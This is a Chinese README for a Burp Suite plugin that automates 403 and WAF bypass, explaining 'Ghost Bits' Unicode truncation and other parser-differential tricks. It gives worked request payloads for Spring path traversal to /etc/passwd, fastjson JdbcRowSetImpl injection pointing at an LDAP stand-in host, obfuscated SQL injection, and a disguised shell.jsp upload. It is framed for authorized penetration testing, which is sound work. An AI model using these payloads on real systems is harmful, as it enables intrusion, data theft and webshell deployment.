burpsuite 插件对 Auth/Waf 自动化绕过的支持
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。
团队:0x727,未来一段时间将陆续开源工具,地址:https://github.com/0x727
定位:在攻防和渗透测试中,可以更加方便的找到一些绕过的点,比如403bypass,比如shiro的权限绕过
语言:Java 8(pom.xml 中 source/target=8,产物可在 Java 8 环境运行;构建可使用 JDK 8+)
功能:权限绕过的自动化bypass的burpsuite插件。
此项目是基于p0desta师傅的项目https://github.com/p0desta/AutoBypass403-BurpSuite进行二开的。用于权限绕过,403bypass等的自动化bypass的Burpsuite插件。感谢p0desta师傅的开源,本二开项目已经过p0desta师傅本人允许开源。
BypassPro 5.1 是一次大版本重构:从单一的 403 bypass 工具,扩展为“自动权限绕过 + 自动 WAF 绕过 + 手动 WAF 工作台”的组合型 Burp 插件。本版本重点增强了手动构造能力、Ghost Bits 测试能力、Raw Socket 发包能力和配置可维护性。
Auto-权限绕过
Send to BypassPro (Access Control),以及 Dashboard 中的 Auto Scan。profiles.auto_access_bypass。Auto-WAF绕过
Send to BypassPro (WAF)。profiles.auto_waf_bypass。eq / parser 候选,场景模板默认关闭。Manual-WAF工作台
Send to BypassPro (Manual WAF)。IMessageEditor,支持 Pretty / Raw / Hex。general.max_redirects,默认 3。手动工具区重新按用途分区,不再把所有按钮堆在一起:
选区规则也做了统一:
%XX。新增专门的 Gh0st Bits 工作区,用于测试 Java 生态中 char 到 byte 截断、宽松 hex 解析、多阶段 decode 等解析差异。
手动区能力:
. / \ % @ : ; ? & = ' " CR LF。ch & 0xFF。ch & 0x7F。.%u002eCRLF.jsp@typeclass\\x4_\\u\\u%2>%HHprofiles.manual_waf_bypass.ghost_bits.templates。底部紧凑预览会显示:
现在很多资料把 Ghost Bits 直接和 阮严灵丰丰甲来 绑定在一起,这是不准确的。
阮严灵丰丰甲来 只是 CVE-2025-41242 这条利用链里,为了构造中间态 .%u002e 选出来的一组字符:
阮 -> .
严 -> %
灵 -> u
丰 -> 0
丰 -> 0
甲 -> 2
来 -> e
阮严灵丰丰甲来
低 8 位还原后是:
.%u002e
注意最后一个字是 来,不是 田。来 的低 8 位是 0x65,也就是 e;田 的低 8 位是 0x30,也就是 0。
更重要的是:Ghost Bits 不是固定 payload,也不是“中文等于漏洞”。它的本质是:
攻击者先设计后端最终要看到的 ASCII / 中间态
↓
再为每个字符挑选低 8 位相同的 Unicode 字符
↓
WAF 看到 Unicode
↓
后端某一层如果发生 char -> byte 截断,就看到原始 ASCII / 中间态
所以 阮严灵丰丰甲来 只是一个例子。任何满足 unicodeChar & 0xff == targetAscii 的字符都可以作为 Ghost 字符。
这也是 BypassPro 把 Gh0st Bits 拆成三类的原因:
%xx、\\uXXXX、\\xHH、filename* 这类解析器差异。%2> 这类完整漏洞链。换组(Shuffle) 的意义也在这里:Ghost 字符不是固定的。只要低 8 位相同,显示字符可以换很多组。选中已 Ghost 化的文本后点击 Shuffle,还原结果不变,但 Unicode 字符会换成另一组。这可以用来判断 WAF 是在拦某组字面量,例如 阮严灵丰丰甲来,还是做了真正的低位还原检测。
Gh0st Bits 实操案例⚠️ 警告:请勿对 Unicode 数字使用换组! 对于绝大多数基于“低 8 位截断”的漏洞(如 Spring 目录穿越、Tomcat
%HH、CRLF 等),你可以随意换组。但请千万注意,不要对 JDK URLDecoder 和 Fastjson Unicode 数字 这两个模板进行换组! 为什么?因为这两个漏洞不是靠“低位截断”触发的。它们是靠真正的 Unicode 字符数字属性(比如阿拉伯数字٠对应0)。换组会随机改变字符的高字节,使其彻底失去数学上的数字含义,导致漏洞失效!
下面案例都假设你已经把请求右键送入 Manual WAF 工作台。请只在授权测试、靶场或自有环境中使用。
这个场景最容易被误解。它不是把 ../ 直接 Ghost 化,而是先构造中间态 .%u002e,再把这个中间态 Ghost 化。
目标链路是:
阮严灵丰丰甲来
↓ 低 8 位还原
.%u002e
↓ 后续 URI / URL decode
..
原始请求示例:
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
推荐做法一:按原子能力手动组合。
GET /../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
../ 片段。Obfuscation & Noise -> Traversal,点击 .%u002e。
这一步的作用是把标准路径穿越 token 变成 Spring 链路需要的中间态:GET /.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Gh0st Bits,依次选中每个 .%u002e,点击 常用载荷 -> .%u002e,或点击 Ghost 编码 -> 最小集。
这一步把中间态 Ghost 化:阮严灵丰丰甲来 -> .%u002e
请求会变成类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
StringUtils.uriDecode 的 changed=true 分支,需要保留至少一个合法 %xx。常见写法是把目标文件名最后的 d 变成 %64,让 passwd 变成 passw%64。
%64 不是魔法值,也不是必须编码 d。它的核心作用是让解码函数进入 baos.write(ch) 路径;如果没有任何 %xx,某些链路会直接返回原字符串,Ghost 字符就不会发生低位还原。
最终请求类似:GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Auto 或 Raw。注意:不同链路的解码粒度可能不同。如果目标按整条 path 解码,一个 %xx 可能触发整条 path 的 changed=true;如果目标按每个 path segment 独立解码,则每个 Ghost segment 可能都需要自己的 %xx 触发点,例如 /%2e严灵丰丰甲来/ 这种单段形态。
这个过程体现的是组合能力:
真实攻击语义:../../../../etc/passwd
↓ Obfuscation & Noise
中间态:.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd
↓ Gh0st Bits
显示形态:阮严灵丰丰甲来/...
↓ Data Encoding
decode trigger:passw%64
为什么不是直接选中 ../ 然后 Ghost?
../
↓ 直接 Ghost 化
Ghost 还原后还是 ../
这会让后续路径规范化更早看到 ../,不一定能绕过 Spring 的字面量检查。CVE-2025-41242 这条链需要的是 .%u002e 这个中间态。
推荐做法二:直接用模板。
Gh0st Bits。模板 中的 Spring Path。GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Auto 或 Raw。/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
↓
/.%u002e/.%u002e/.%u002e/etc/passwd
↓
/../../../etc/passwd
案例 B:fastjson \\x4_ 绕过 @type
目标:让 WAF 看不到 @type,但让 fastjson 宽松解析后仍得到 @type。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:直接看到 @type,很容易拦截。
普通变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x40type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:如果会识别 \x40,仍然能还原出 @type。
Manual WAF 操作:
@type。Gh0st Bits -> JSON 解析器 -> fastjson \\x4_。POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\\x4J -> @
\\x4_ -> @
这里不是标准低 8 位 Ghost Bits,而是 fastjson \\x 宽松 hex 表达。它的价值是让 WAF 和 fastjson 对 \\x4? 的理解不一致。
\u0040 Unicode 数字绕过
目标:仍然构造 @type,但把 \u0040 里的数字换成 fastjson 可能接受的 Unicode 数字。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
普通 Unicode 变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0040type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:很多 WAF 会把 \u0040 解成 @,继续拦截。
Manual WAF 操作:
\u0040,或者选中 @type。Gh0st Bits -> JSON 解析器 -> fastjson \\u。Unicode 数字,只替换 escape 里的数字位。POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\\u٠٠٤٠type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\\u٠٠٤٠ -> \u0040 -> @
注意:这个案例依赖 fastjson 对 Unicode digit 的处理差异。它不是“所有 JSON 解析器都通用”的 Ghost Bits。
案例 D:Jackson\\u / charToHex 低 8 位
目标:让 WAF 看不到标准 JSON 字段和值里的敏感字符串,但 Jackson 的 charToHex(ch & 0xff) 仍能把 \\uXXXX escape 解析回来。
原始请求:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"username":"admin' and 1='1","tenantId":"1001","page":1,"size":20}
WAF 视角:能直接看到 and 1='1 这类敏感片段。
普通 Unicode 转义:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0031\u003d\u0027\u0031","tenantId":"1001","extra":"..."}
WAF 视角:如果会做 JSON / Unicode 预解析,还是能还原出 username 和 admin' and 1='1。
Manual WAF 操作:
username、SQL 片段,或者选中已经写好的 \\uXXXX 片段。Gh0st Bits -> JSON 解析器 -> jackson \\u。\\uXXXX 的 4 个 hex 位替换成低 8 位相同的 Ghost 字符,变形后类似:POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\\u丰丰男丵\\u丰丰男耳\\u丰丰茶丵...":"\\u丰丰茶失...","tenantId":"1001","extra":"..."}
这里的字符只是示例,实际生成的 Ghost 字符可能不同。关键是还原关系要成立:
\\u丰丰男丵 -> 还原后是 \u0075 -> u
\\u丰丰男耳 -> 还原后是 \u0073 -> s
\\u丰丰茶丵 -> 还原后是 \u0065 -> e
...
整体解析后仍是 username / admin' and 1='1
如果是 SQL 注入类 value,也按同样方法处理:先选中危险 value,再点 jackson \\u,最后看底部 Ghost 还原预览是否能还原成原始 payload。
限制:
ReaderBasedJsonParser 的 char[] 输入。UTF8StreamJsonParser 的 byte[] 输入,不一定触发。目标:WAF 看不到 .jsp,但 Tomcat RFC2231 filename 解析后保存成 .jsp。
原始请求:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: text/plain
test
------b--
WAF 视角:直接看到 filename="shell.jsp"。
普通 RFC2231 / URL 变形:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%6asp"
Content-Type: text/plain
test
------b--
WAF 视角:如果会 decode %6a,仍然看到 .jsp。
Manual WAF 操作:
filename= 改成 filename*="UTF-8''shell.jsp"。%HH 解析链,选中 j,点击 Gh0st Bits -> URL / 文件解析器 -> Tomcat %HH。不要选中 6a,这个按钮接收的是原始字符,不是 hex 文本。.jsp,点击 常用载荷 -> .jsp。%HH 变形后类似:POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-
暂无开放 Issues,或尚未同步最近议题。